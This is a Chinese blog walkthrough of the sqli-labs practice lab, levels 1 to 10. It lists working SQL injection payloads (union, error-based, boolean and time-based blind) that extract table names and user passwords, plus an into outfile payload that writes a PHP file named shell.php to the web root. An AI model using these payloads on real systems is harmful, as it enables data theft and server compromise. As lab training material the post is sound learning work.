zoukankan      html  css  js  c++  java
  • SQL注入漏洞靶场-sqli-labs学习[1-10]

    Less-1

    根据提示,在URL中添加?id=1,出现:

    尝试加单引号,发现报错信息:

    在单引号后加入注释符#(%23)后,页面返回正常,说明可能是单引号字符型注入。

    尝试使用UNION联合查询注入:

    ①判断字段个数:

    ?id=1' order by 3#
    

    页面3返回正常,页面4返回不正常,说明有3个字段。

    ②确定字段精确位置:?id=1' and 1=2 union select 1,2,3#

    ③查询数据库名和用户名:?id=1' and 1=2 union select 1, database(), user()#

    ④获取表名:

    ?id=1' and 1=2 union select 1, 2, group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()#
    

    ⑤获取字段名:

    ?id=1' and 1=2 union select 1, 2, group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='users'#
    

    ⑥获取字段内容:

    ?id=1' and 1=2 union select 1, 2, group_concat(username, 0x7e, password) from users#
    

    Less-2

    通过Less-1的尝试方法,页面继续报错。使用?id=2-1进行测试,发现与?id=1页面返回一样,说明此处是数字型注入。接下来的注入过程可以参考Less-1。

    Less-3

    加单引号报错后,根据报错信息"to use near ''1'') LIMIT 0,1' at line 1",输入?id=1‘ )#,页面返回正常。说明此处是以('1')闭合的字符型注入。接下来的注入过程可以参考Less-1。

    Less-4

    加单引号无变化。输入双引号,页面报错,根据报错信息"to use near '"1"") LIMIT 0,1' at line 1",可以判断这里闭合方式是将('')改为了(""),其余与Less-3相同。

    Less-5

    输入单引号后,根据报错信息,判断是单引号闭合,但是此处无法使用UNION联合查询注入。

    尝试使用报错注入,这里选用的是updatexml()报错注入:

    ①获取数据库名:?id=1' and updatexml(1, concat(0x7e, (select database()), 0x7e), 1)%23

    ②获取表名:

    ?id=1' and updatexml(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database()), 0x7e), 1)%23
    

    ③获取字段名:

    ?id=1' and updatexml(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name='users'), 0x7e), 1)%23
    

    因为updatexml()函数有字符限制,最长为32位,这里可以通过limit子句进行查询。

    ?id=1' and updatexml(1, concat(0x7e, (select column_name from information_schema.columns where table_name='users' limit 10,1), 0x7e), 1)%23
    

    ④获取字段内容:

    ?id=1' and updatexml(1, concat(0x7e, (select group_concat(username, 0x7e, password) from users limit 0,1), 0x7e), 1)%23
    

    因为updatexml()函数有32位的长度限制,所以此处使用了substr()函数进行截取:

    ?id=1' and updatexml(1, concat(0x7e, substr((select group_concat(username, 0x7e, password) from users limit 0,1), 30, 30), 0x7e), 1)%23
    

    Less-6

    此关是将Less-5中的单引号变为了双引号闭合,所以此处可以继续使用报错注入。

    使用floor()报错注入:

    ①查数据库

    ?id=1" and (select 1 from (select count(*), concat(database(), floor(rand(0)*2))x from information_schema.tables group by x)a)%23
    

    ②查表

    ?id=1" and (select 1 from (select count(*),concat(((select concat(table_name) from information_schema.tables where table_schema = database() limit 3,1)),floor (rand(0)*2))x from information_schema.tables group by x)a)%23
    

    ③查字段名

    ?id=1" and (select 1 from (select count(*),concat(((select concat(column_name) from information_schema.columns where table_name = 'users' limit 10,1)),floor (rand(0)*2))x from information_schema.tables group by x)a)%23
    

    ④查询字段内容

    ?id=1" and (select 1 from (select count(*),concat(((select concat(password) from users limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a)%23
    

    Less-7

    根据提示"Use outfile",需要向服务器写入文件。尝试找到语句的闭合方式:((''))。

    构造payload:

    ?id=1')) and 1=2 union select 1,"<?php phpinfo(); ?>",3 into outfile "C:\phpStudy\PHPTutorial\WWW\shell.php"%23
    

    访问shell.php:

    总结一下利用into outfile写文件的条件:

    ①要具有写权限能够使用单引号或双引号

    ②知道服务器的绝对路径

    ③要配置secure-file-priv

    Less-8

    加单引号,页面返回不正常,可以判断是单引号字符型注入。

    这里尝试Less-7中的into outfile写文件,也是可以写入。

    这里尝试一下布尔盲注:

    ?id=1' and 1=1 %23 //页面返回正常
    ?id=1' and 1=2 %23 //页面返回异常
    

    ①判断数据库长度

    ?id=1' and length(database())=8%23
    

    页面返回正常,说明数据库长度为8。

    ②猜测数据库中的第一个字符

    ?id=1' and left(database(),1)<'t'%23 //页面返回正常,缩短范围
    ?id=1' and left(database(),1)>'r'%23 //页面返回正常,可以说明数据库首字母为s
    

    ③猜测security中的表名

    ?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = 'security' limit 0,1), 1, 1)) < 118%23
    

    ④猜测users表中的列信息

    ?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)) > 60 %23
    

    ⑤猜测字段内容

    ?id=1' and ascii(substr((select password from users limit 0,1), 1, 1))>60%23
    

    Less-9

    尝试各种方式,但是都不报错,最终确定为是单引号闭合的时间延迟注入:

    ?id=1' and sleep(10) %23
    

    ①判断数据库长度

    ?id=1' and if(length(database())=8, sleep(10), 1)%23
    

    ②猜解数据库名

    ?id=1' and if(ascii(substr(database(),1,1))>114, sleep(10), 1)%23
    

    Less-10

    此关是将Less-9中的单引号改为双引号闭合,也是使用时间延迟注入。

  • 相关阅读:
    数组和链表
    IAP升级
    使用Git和Github来管理自己的代码和笔记
    Eeprom和Flash的区别
    程序员的七种武器
    数据结构和算法的关系
    STVD、IAR两种编译器比较
    STM32与STM8操作寄存器的区别
    Linux用户身份与文件权限
    地图缩放到指定经纬度
  • 原文地址:https://www.cnblogs.com/Son01/p/12955008.html
Copyright © 2011-2022 走看看